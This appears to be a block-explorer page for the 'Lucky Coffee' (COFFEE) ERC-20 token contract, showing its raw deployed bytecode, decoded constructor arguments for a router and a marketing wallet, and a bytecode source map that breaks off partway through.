0x60806040526004361061014a575f3560e01c80637d1db4a5116100b3578063a9059cbb1161006d578063a9059cbb146103aa578063bf474bed146103c9578063dd62ed3e146103de578063e734197314610422578063f2fde38b14610436578063f5b3c3bf14610455575f80fd5b80637d1db4a5146102f85780638980f11f1461030d5780638cd4426d1461032c5780638da5cb5b1461034b5780638f9a55c01461036757806395d89b411461037c575f80fd5b8063313ce56711610104578063313ce5671461023657806349bd5a5e146102515780636c5808011461028857806370a082311461029c578063715018a6146102d0578063751039fc146102e4575f80fd5b80630614117a1461015557806306fdde031461016b578063095ea7b3146101b15780630faee56f146101e057806318160ddd1461020357806323b872dd14610217575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50610169610483565b005b348015610176575f80fd5b5060408051808201909152600c81526b4c75636b7920436f6666656560a01b60208201525b6040516101a891906117aa565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb36600461180a565b6104ef565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101f5600d5481565b6040519081526020016101a8565b34801561020e575f80fd5b506101f5610505565b348015610222575f80fd5b506101d0610231366004611834565b610525565b348015610241575f80fd5b50604051600981526020016101a8565b34801561025c575f80fd5b50600554610270906001600160a01b031681565b6040516001600160a01b0390911681526020016101a8565b348015610293575f80fd5b5061016961058c565b3480156102a7575f80fd5b506101f56102b6366004611872565b6001600160a01b03165f9081526001602052604090205490565b3480156102db575f80fd5b506101696105c8565b3480156102ef575f80fd5b50610169610639565b348015610303575f80fd5b506101f5600a5481565b348015610318575f80fd5b5061016961032736600461180a565b6106ec565b348015610337575f80fd5b5061016961034636600461180a565b61078e565b348015610356575f80fd5b505f546001600160a01b0316610270565b348015610372575f80fd5b506101f5600b5481565b348015610387575f80fd5b50604080518082019091526006815265434f4646454560d01b602082015261019b565b3480156103b5575f80fd5b506101d06103c436600461180a565b6107ad565b3480156103d4575f80fd5b506101f5600c5481565b3480156103e9575f80fd5b506101f56103f836600461188d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561042d575f80fd5b506101696107b9565b348015610441575f80fd5b50610169610450366004611872565b610b54565b348015610460575f80fd5b506101d061046f366004611872565b600e6020525f908152604090205460ff1681565b5f546001600160a01b031633146104b55760405162461bcd60e51b81526004016104ac906118c4565b60405180910390fd5b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156104ec573d5f803e3d5ffd5b50565b5f6104fb338484610c3b565b5060015b92915050565b5f6105126009600a6119ed565b61052090633b9aca006119fb565b905090565b5f610531848484610d5e565b610582843361057d85604051806060016040528060288152602001611b5a602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611410565b610c3b565b5060019392505050565b5f546001600160a01b031633146105b55760405162461bcd60e51b81526004016104ac906118c4565b6016805462ff00ff191662010001179055565b5f546001600160a01b031633146105f15760405162461bcd60e51b81526004016104ac906118c4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106625760405162461bcd60e51b81526004016104ac906118c4565b61066e6009600a6119ed565b61067c90633b9aca006119fb565b600a90815561068d906009906119ed565b61069b90633b9aca006119fb565b600b557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106cb6009600a6119ed565b6106d990633b9aca006119fb565b60405190815260200160405180910390a1565b5f546001600160a01b031633146107155760405162461bcd60e51b81526004016104ac906118c4565b600f5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303815f875af1158015610765573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107899190611a12565b505050565b600f546001600160a01b0316336001600160a01b031614610715575f80fd5b5f6104fb338484610d5e565b5f546001600160a01b031633146107e25760405162461bcd60e51b81526004016104ac906118c4565b60165460ff16156108355760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ac565b6004546108619030906001600160a01b03166108536009600a6119ed565b61057d90633b9aca006119fb565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a01559282820192602092908290030181865afa1580156108a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ca9190611a31565b6001600160a01b031663c9c653963060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610929573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094d9190611a31565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610997573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109bb9190611a31565b600580546001600160a01b039283166001600160a01b0319909116811782555f908152600e60209081526040808320805460ff199081166001908117909255945486168452600390925290912080549092161790556004541663f305d7194730610a39816001600160a01b03165f9081526001602052604090205490565b5f80610a4c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ab2573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ad79190611a4c565b50506005546004805460405163095ea7b360e01b81526001600160a01b03918216928101929092525f196024830152909116915063095ea7b3906044016020604051808303815f875af1158015610b30573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ec9190611a12565b5f546001600160a01b03163314610b7d5760405162461bcd60e51b81526004016104ac906118c4565b6001600160a01b038116610be25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ac565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c9d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ac565b6001600160a01b038216610cfe5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ac565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600f546001600160a01b03908116905f908516610dcb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ac565b6001600160a01b038416610e2d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ac565b600183610e8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ac565b6001600160a01b038616610ea95f546001600160a01b031690565b6001600160a01b0316876001600160a01b031614158015610ed757505f546001600160a01b03878116911614155b8015610eec57506001600160a01b0387163014155b156112c2578381039150610f226064610f1c60105460135411610f1157600654610f15565b6008545b8890611448565b906114cd565b6001600160a01b0388165f908152600e602052604090205490935060ff168015610f5a57506004546001600160a01b03878116911614155b8015610f7e57506001600160a01b0386165f9081526003602052604090205460ff16155b156110ac5760165460ff16610fcb5760405162461bcd60e51b81526020600482015260136024820152723a3930b234b7339034b9903737ba1037b832b760691b60448201526064016104ac565b600a5485111561101d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ac565b600b548561103f886001600160a01b03165f9081526001602052604090205490565b6110499190611a77565b11156110975760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b60138054905f6110a683611a8a565b91905055505b6001600160a01b0386165f908152600e602052604090205460ff161580156110ec57506001600160a01b0386165f9081526003602052604090205460ff16155b1561116b57600b5485611113886001600160a01b03165f9081526001602052604090205490565b61111d9190611a77565b111561116b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ac565b6001600160a01b0386165f908152600e602052604090205460ff16156111b3576111b06064610f1c601154601354116111a657600754610f15565b6009548890611448565b92505b6001600160a01b0387165f908152600e602052604090205460ff161580156111f357506001600160a01b0386165f908152600e602052604090205460ff16155b156111fc575f92505b305f90815260016020526040902054821561121657600192505b601654610100900460ff1615801561124557506001600160a01b0387165f908152600e602052604090205460ff165b8015611259575060165462010000900460ff165b80156112665750600c5481115b80156112755750601254601354115b15611297576112976112928761128d84600d5461150e565b61150e565b611522565b6001600160a01b0387165f908152600e602052604090205460ff16156112c0576112c0476116a4565b505b5f6112cd86846119fb565b9050831561134757305f908152600160205260409020546112ee90856116df565b305f81815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061133e9088815260200190565b60405180910390a35b6001600160a01b0388165f90815260016020526040902054611369908261173d565b6001600160a01b0389165f908152600160205260409020556113ac61138e878661173d565b6001600160a01b0389165f90815260016020526040902054906116df565b6001600160a01b038089165f8181526001602052604090209290925589167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113f5898861173d565b60405190815260200160405180910390a35050505050505050565b5f81848411156114335760405162461bcd60e51b81526004016104ac91906117aa565b505f61143f8486611aa2565b95945050505050565b5f825f0361145757505f6104ff565b5f61146283856119fb565b90508261146f8583611ab5565b146114c65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ac565b9392505050565b5f6114c683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061177e565b5f81831161151c57826114c6565b50919050565b6016805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061156457611564611ad4565b60200260200101906001600160a01b031690816001600160a01b03168152505060045f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115d4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115f89190611a31565b8160018151811061160b5761160b611ad4565b6001600160a01b0392831660209182029290920101526004546116319130911684610c3b565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac947916116689186915f9187913091429101611ae8565b5f604051808303815f87803b15801561167f575f80fd5b505af1158015611691573d5f803e3d5ffd5b50506016805461ff001916905550505050565b600f546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156116db573d5f803e3d5ffd5b5050565b5f806116eb8385611a77565b9050838110156114c65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ac565b5f6114c683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611410565b5f818361179e5760405162461bcd60e51b81526004016104ac91906117aa565b505f61143f8486611ab5565b5f602080835283518060208501525f5b818110156117d6578581018301518582016040015282016117ba565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104ec575f80fd5b5f806040838503121561181b575f80fd5b8235611826816117f6565b946020939093013593505050565b5f805f60608486031215611846575f80fd5b8335611851816117f6565b92506020840135611861816117f6565b929592945050506040919091013590565b5f60208284031215611882575f80fd5b81356114c6816117f6565b5f806040838503121561189e575f80fd5b82356118a9816117f6565b915060208301356118b9816117f6565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561194757815f190482111561192d5761192d6118f9565b8085161561193a57918102915b93841c9390800290611912565b509250929050565b5f8261195d575060016104ff565b8161196957505f6104ff565b816001811461197f5760028114611989576119a5565b60019150506104ff565b60ff84111561199a5761199a6118f9565b50506001821b6104ff565b5060208310610133831016604e8410600b84101617156119c8575081810a6104ff565b6119d2838361190d565b805f19048211156119e5576119e56118f9565b029392505050565b5f6114c660ff84168361194f565b80820281158282048414176104ff576104ff6118f9565b5f60208284031215611a22575f80fd5b815180151581146114c6575f80fd5b5f60208284031215611a41575f80fd5b81516114c6816117f6565b5f805f60608486031215611a5e575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156104ff576104ff6118f9565b5f60018201611a9b57611a9b6118f9565b5060010190565b818103818111156104ff576104ff6118f9565b5f82611acf57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611b385784516001600160a01b031683529383019391830191600101611b13565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203414074946c4a572e28c3a4528bb618cc8c6cc5c9e741a82b2c7a18c54b9d53b64736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000be4682f72f822eb97755ed0a93205149643b0f94

-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : marketingA (address): 0xbe4682f72f822Eb97755ED0A93205149643b0f94

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 000000000000000000000000be4682f72f822eb97755ed0a93205149643b0f94


Deployed Bytecode Sourcemap

4161:9171:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11667:108;;;;;;;;;;;;;:::i;:::-;;6483:83;;;;;;;;;;-1:-1:-1;6553:5:0;;;;;;;;;;;;-1:-1:-1;;;6553:5:0;;;;6483:83;;;;;;;:::i;:::-;;;;;;;;6289:186;;;;;;;;;;-1:-1:-1;6289:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6289:186:0;1023:187:1;5119:57:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5119:57:0;1215:177:1;6760:95:0;;;;;;;;;;;;;:::i;10719:446::-;;;;;;;;;;-1:-1:-1;10719:446:0;;;;;:::i;:::-;;:::i;6669:83::-;;;;;;;;;;-1:-1:-1;6669:83:0;;4462:1;2000:36:1;;1988:2;1973:18;6669:83:0;1858:184:1;4706:28:0;;;;;;;;;;-1:-1:-1;4706:28:0;;;;-1:-1:-1;;;;;4706:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4706:28:0;2047:203:1;13184:108:0;;;;;;;;;;;;;:::i;6162:119::-;;;;;;;;;;-1:-1:-1;6162:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6255:18:0;6228:7;6255:18;;;:9;:18;;;;;;;6162:119;1686:148;;;;;;;;;;;;;:::i;12554:162::-;;;;;;;;;;;;;:::i;4917:58::-;;;;;;;;;;;;;;;;12826:166;;;;;;;;;;-1:-1:-1;12826:166:0;;;;;:::i;:::-;;:::i;13000:176::-;;;;;;;;;;-1:-1:-1;13000:176:0;;;;;:::i;:::-;;:::i;1472:79::-;;;;;;;;;;-1:-1:-1;1510:7:0;1537:6;-1:-1:-1;;;;;1537:6:0;1472:79;;4982:60;;;;;;;;;;;;;;;;6574:87;;;;;;;;;;-1:-1:-1;6646:7:0;;;;;;;;;;;;-1:-1:-1;;;6646:7:0;;;;6574:87;;7206:192;;;;;;;;;;-1:-1:-1;7206:192:0;;;;;:::i;:::-;;:::i;5049:63::-;;;;;;;;;;;;;;;;7406:168;;;;;;;;;;-1:-1:-1;7406:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;7539:18:0;;;7512:7;7539:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7406:168;11783:763;;;;;;;;;;;;;:::i;1842:281::-;;;;;;;;;;-1:-1:-1;1842:281:0;;;;;:::i;:::-;;:::i;5185:42::-;;;;;;;;;;-1:-1:-1;5185:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;11667:108;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;;;;;;;;;1510:7;1537:6;;11719:48:::1;::::0;-1:-1:-1;;;;;1537:6:0;;;;11745:21:::1;11719:48:::0;::::1;;;::::0;11745:21;;11719:48;1510:7;11719:48;11745:21;1537:6;11719:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11667:108::o:0;6289:186::-;6389:4;6406:39;298:10;6429:7;6438:6;6406:8;:39::i;:::-;-1:-1:-1;6463:4:0;6289:186;;;;;:::o;6760:95::-;6813:7;4521:15;4462:1;4521:2;:15;:::i;:::-;4505:31;;:13;:31;:::i;:::-;6833:14;;6760:95;:::o;10719:446::-;10851:4;10868:36;10878:6;10886:9;10897:6;10868:9;:36::i;:::-;10915:220;10938:6;298:10;10986:138;11042:6;10986:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10986:19:0;;;;;;:11;:19;;;;;;;;298:10;10986:33;;;;;;;;;;:37;:138::i;:::-;10915:8;:220::i;:::-;-1:-1:-1;11153:4:0;10719:446;;;;;:::o;13184:108::-;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;13236:12:::1;:19:::0;;-1:-1:-1;;13266:18:0;;;;;13184:108::o;1686:148::-;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;1793:1:::1;1777:6:::0;;1756:40:::1;::::0;-1:-1:-1;;;;;1777:6:0;;::::1;::::0;1756:40:::1;::::0;1793:1;;1756:40:::1;1824:1;1807:19:::0;;-1:-1:-1;;;;;;1807:19:0::1;::::0;;1686:148::o;12554:162::-;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;4521:15:::1;4462:1;4521:2;:15;:::i;:::-;4505:31;::::0;:13:::1;:31;:::i;:::-;12608:12;:22:::0;;;4521:15:::1;::::0;4462:1:::1;::::0;4521:15:::1;:::i;:::-;4505:31;::::0;:13:::1;:31;:::i;:::-;12641:14;:24:::0;12681:27:::1;4521:15;4462:1;4521:2;:15;:::i;:::-;4505:31;::::0;:13:::1;:31;:::i;:::-;12681:27;::::0;1361:25:1;;;1349:2;1334:18;12681:27:0::1;;;;;;;12554:162::o:0;12826:166::-;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;12964:10:::1;::::0;12938:46:::1;::::0;-1:-1:-1;;;12938:46:0;;-1:-1:-1;;;;;12964:10:0;;::::1;12938:46;::::0;::::1;5125:51:1::0;5192:18;;;5185:34;;;12938:25:0;;::::1;::::0;::::1;::::0;5098:18:1;;12938:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12826:166:::0;;:::o;13000:176::-;13100:10;;-1:-1:-1;;;;;13100:10:0;298;-1:-1:-1;;;;;13084:26:0;;13076:35;;;;;7206:192;7309:4;7326:42;298:10;7350:9;7361:6;7326:9;:42::i;11783:763::-;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;11844:11:::1;::::0;::::1;;11843:12;11835:48;;;::::0;-1:-1:-1;;;11835:48:0;;5714:2:1;11835:48:0::1;::::0;::::1;5696:21:1::0;5753:2;5733:18;;;5726:30;5792:25;5772:18;;;5765:53;5835:18;;11835:48:0::1;5512:347:1::0;11835:48:0::1;11926:15;::::0;11894:58:::1;::::0;11911:4:::1;::::0;-1:-1:-1;;;;;11926:15:0::1;4521;4462:1;4521:2;:15;:::i;:::-;4505:31;::::0;:13:::1;:31;:::i;11894:58::-;11997:15;::::0;;:25:::1;::::0;;-1:-1:-1;;;11997:25:0;;;;-1:-1:-1;;;;;11997:15:0;;::::1;::::0;:23:::1;::::0;:25;;::::1;::::0;::::1;::::0;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11979:55:0::1;;12061:4;12085:15;;;;;;;;;-1:-1:-1::0;;;;;12085:15:0::1;-1:-1:-1::0;;;;;12085:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11979:143;::::0;-1:-1:-1;;;;;;11979:143:0::1;::::0;;;;;;-1:-1:-1;;;;;6350:15:1;;;11979:143:0::1;::::0;::::1;6332:34:1::0;6402:15;;6382:18;;;6375:43;6267:18;;11979:143:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11963:13;:159:::0;;-1:-1:-1;;;;;11963:159:0;;::::1;-1:-1:-1::0;;;;;;11963:159:0;;::::1;::::0;::::1;::::0;;:13:::1;12133:34:::0;;;:10:::1;:34;::::0;;;;;;;:41;;-1:-1:-1;;12133:41:0;;::::1;11963:159:::0;12133:41;;::::1;::::0;;;12200:13;;;::::1;12185:30:::0;;:6:::1;:30:::0;;;;;;:37;;;;::::1;;::::0;;12233:15:::1;::::0;::::1;:31;12272:21;12317:4;12337:24;12317:4:::0;-1:-1:-1;;;;;6255:18:0;6228:7;6255:18;;;:9;:18;;;;;;;6162:119;12337:24:::1;12376:1;12392::::0;12408:7:::1;1510::::0;1537:6;-1:-1:-1;;;;;1537:6:0;;1472:79;12408:7:::1;12233:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12233:223:0;;;-1:-1:-1;;;;;6788:15:1;;;12233:223:0::1;::::0;::::1;6770:34:1::0;6820:18;;;6813:34;;;;6863:18;;;6856:34;;;;6906:18;;;6899:34;6970:15;;;6949:19;;;6942:44;12430:15:0::1;7002:19:1::0;;;6995:35;6704:19;;12233:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12474:13:0::1;::::0;12505:15:::1;::::0;;12467:71:::1;::::0;-1:-1:-1;;;12467:71:0;;-1:-1:-1;;;;;12505:15:0;;::::1;12467:71:::0;;::::1;5125:51:1::0;;;;-1:-1:-1;;5192:18:1;;;5185:34;12474:13:0;;::::1;::::0;-1:-1:-1;12467:29:0::1;::::0;5098:18:1;;12467:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;1842:281::-:0;1599:6;;-1:-1:-1;;;;;1599:6:0;298:10;1599:22;1591:67;;;;-1:-1:-1;;;1591:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1945:22:0;::::1;1923:110;;;::::0;-1:-1:-1;;;1923:110:0;;7833:2:1;1923:110:0::1;::::0;::::1;7815:21:1::0;7872:2;7852:18;;;7845:30;7911:34;7891:18;;;7884:62;-1:-1:-1;;;7962:18:1;;;7955:36;8008:19;;1923:110:0::1;7631:402:1::0;1923:110:0::1;2070:6;::::0;;2049:38:::1;::::0;-1:-1:-1;;;;;2049:38:0;;::::1;::::0;2070:6;::::1;::::0;2049:38:::1;::::0;::::1;2098:6;:17:::0;;-1:-1:-1;;;;;;2098:17:0::1;-1:-1:-1::0;;;;;2098:17:0;;;::::1;::::0;;;::::1;::::0;;1842:281::o;6863:335::-;-1:-1:-1;;;;;6956:19:0;;6948:68;;;;-1:-1:-1;;;6948:68:0;;8240:2:1;6948:68:0;;;8222:21:1;8279:2;8259:18;;;8252:30;8318:34;8298:18;;;8291:62;-1:-1:-1;;;8369:18:1;;;8362:34;8413:19;;6948:68:0;8038:400:1;6948:68:0;-1:-1:-1;;;;;7035:21:0;;7027:68;;;;-1:-1:-1;;;7027:68:0;;8645:2:1;7027:68:0;;;8627:21:1;8684:2;8664:18;;;8657:30;8723:34;8703:18;;;8696:62;-1:-1:-1;;;8774:18:1;;;8767:32;8816:19;;7027:68:0;8443:398:1;7027:68:0;-1:-1:-1;;;;;7106:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7158:32;;1361:25:1;;;7158:32:0;;1334:18:1;7158:32:0;;;;;;;6863:335;;;:::o;7582:3014::-;7709:10;;-1:-1:-1;;;;;7709:10:0;;;;7662:20;;7760:18;;7752:68;;;;-1:-1:-1;;;7752:68:0;;9048:2:1;7752:68:0;;;9030:21:1;9087:2;9067:18;;;9060:30;9126:34;9106:18;;;9099:62;-1:-1:-1;;;9177:18:1;;;9170:35;9222:19;;7752:68:0;8846:401:1;7752:68:0;-1:-1:-1;;;;;7839:16:0;;7831:64;;;;-1:-1:-1;;;7831:64:0;;9454:2:1;7831:64:0;;;9436:21:1;9493:2;9473:18;;;9466:30;9532:34;9512:18;;;9505:62;-1:-1:-1;;;9583:18:1;;;9576:33;9626:19;;7831:64:0;9252:399:1;7831:64:0;7925:1;7945:10;7937:64;;;;-1:-1:-1;;;7937:64:0;;9858:2:1;7937:64:0;;;9840:21:1;9897:2;9877:18;;;9870:30;9936:34;9916:18;;;9909:62;-1:-1:-1;;;9987:18:1;;;9980:39;10036:19;;7937:64:0;9656:405:1;7937:64:0;-1:-1:-1;;;;;8021:22:0;;8068:7;1510;1537:6;-1:-1:-1;;;;;1537:6:0;;1472:79;8068:7;-1:-1:-1;;;;;8060:15:0;:4;-1:-1:-1;;;;;8060:15:0;;;:46;;;;-1:-1:-1;1510:7:0;1537:6;-1:-1:-1;;;;;8093:13:0;;;1537:6;;8093:13;;8060:46;:85;;;;-1:-1:-1;;;;;;8124:21:0;;8140:4;8124:21;;8060:85;8056:2128;;;8215:12;8204:8;:23;8183:44;;8252:208;8456:3;8252:181;8316:15;;8304:9;;:27;8303:111;;8400:14;;8303:111;;;8360:12;;8303:111;8252:6;;:28;:181::i;:::-;:203;;:208::i;:::-;-1:-1:-1;;;;;8499:16:0;;;;;;:10;:16;;;;;;8243:217;;-1:-1:-1;8499:16:0;;:67;;;;-1:-1:-1;8550:15:0;;-1:-1:-1;;;;;8536:30:0;;;8550:15;;8536:30;;8499:67;:99;;;;-1:-1:-1;;;;;;8588:10:0;;;;;;:6;:10;;;;;;;;8587:11;8499:99;8477:485;;;8641:11;;;;8633:43;;;;-1:-1:-1;;;8633:43:0;;10268:2:1;8633:43:0;;;10250:21:1;10307:2;10287:18;;;10280:30;-1:-1:-1;;;10326:18:1;;;10319:49;10385:18;;8633:43:0;10066:343:1;8633:43:0;8713:12;;8703:6;:22;;8695:60;;;;-1:-1:-1;;;8695:60:0;;10616:2:1;8695:60:0;;;10598:21:1;10655:2;10635:18;;;10628:30;10694:27;10674:18;;;10667:55;10739:18;;8695:60:0;10414:349:1;8695:60:0;8830:14;;8820:6;8804:13;8814:2;-1:-1:-1;;;;;6255:18:0;6228:7;6255:18;;;:9;:18;;;;;;;6162:119;8804:13;:22;;;;:::i;:::-;:40;;8774:140;;;;-1:-1:-1;;;8774:140:0;;11100:2:1;8774:140:0;;;11082:21:1;11139:2;11119:18;;;11112:30;11178:28;11158:18;;;11151:56;11224:18;;8774:140:0;10898:350:1;8774:140:0;8935:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8477:485;-1:-1:-1;;;;;8983:14:0;;;;;;:10;:14;;;;;;;;8982:15;:30;;;;-1:-1:-1;;;;;;9002:10:0;;;;;;:6;:10;;;;;;;;9001:11;8982:30;8978:211;;;9089:14;;9079:6;9063:13;9073:2;-1:-1:-1;;;;;6255:18:0;6228:7;6255:18;;;:9;:18;;;;;;;6162:119;9063:13;:22;;;;:::i;:::-;:40;;9033:140;;;;-1:-1:-1;;;9033:140:0;;11100:2:1;9033:140:0;;;11082:21:1;11139:2;11119:18;;;11112:30;11178:28;11158:18;;;11151:56;11224:18;;9033:140:0;10898:350:1;9033:140:0;-1:-1:-1;;;;;9209:14:0;;;;;;:10;:14;;;;;;;;9205:299;;;9253:235;9484:3;9253:204;9325:16;;9313:9;;:28;9312:122;;9419:15;;9312:122;;;9374:13;;9253:6;;:32;:204::i;:235::-;9244:244;;9205:299;-1:-1:-1;;;;;9525:16:0;;;;;;:10;:16;;;;;;;;9524:17;:36;;;;-1:-1:-1;;;;;;9546:14:0;;;;;;:10;:14;;;;;;;;9545:15;9524:36;9520:87;;;9590:1;9581:10;;9520:87;9672:4;9623:28;6255:18;;;:9;:18;;;;;;9683:22;;9679:50;;9728:1;9707:22;;9679:50;9767:6;;;;;;;9766:7;:42;;;;-1:-1:-1;;;;;;9794:14:0;;;;;;:10;:14;;;;;;;;9766:42;:75;;;;-1:-1:-1;9829:12:0;;;;;;;9766:75;:136;;;;;9885:17;;9862:20;:40;9766:136;:187;;;;;9935:18;;9923:9;;:30;9766:187;9744:372;;;9988:112;10030:51;10034:6;10042:38;10046:20;10068:11;;10042:3;:38::i;:::-;10030:3;:51::i;:::-;9988:19;:112::i;:::-;-1:-1:-1;;;;;10121:14:0;;;;;;:10;:14;;;;;;;;10117:55;;;10137:35;10150:21;10137:12;:35::i;:::-;8157:2027;8056:2128;10185:19;10207:27;10228:6;10207:18;:27;:::i;:::-;1018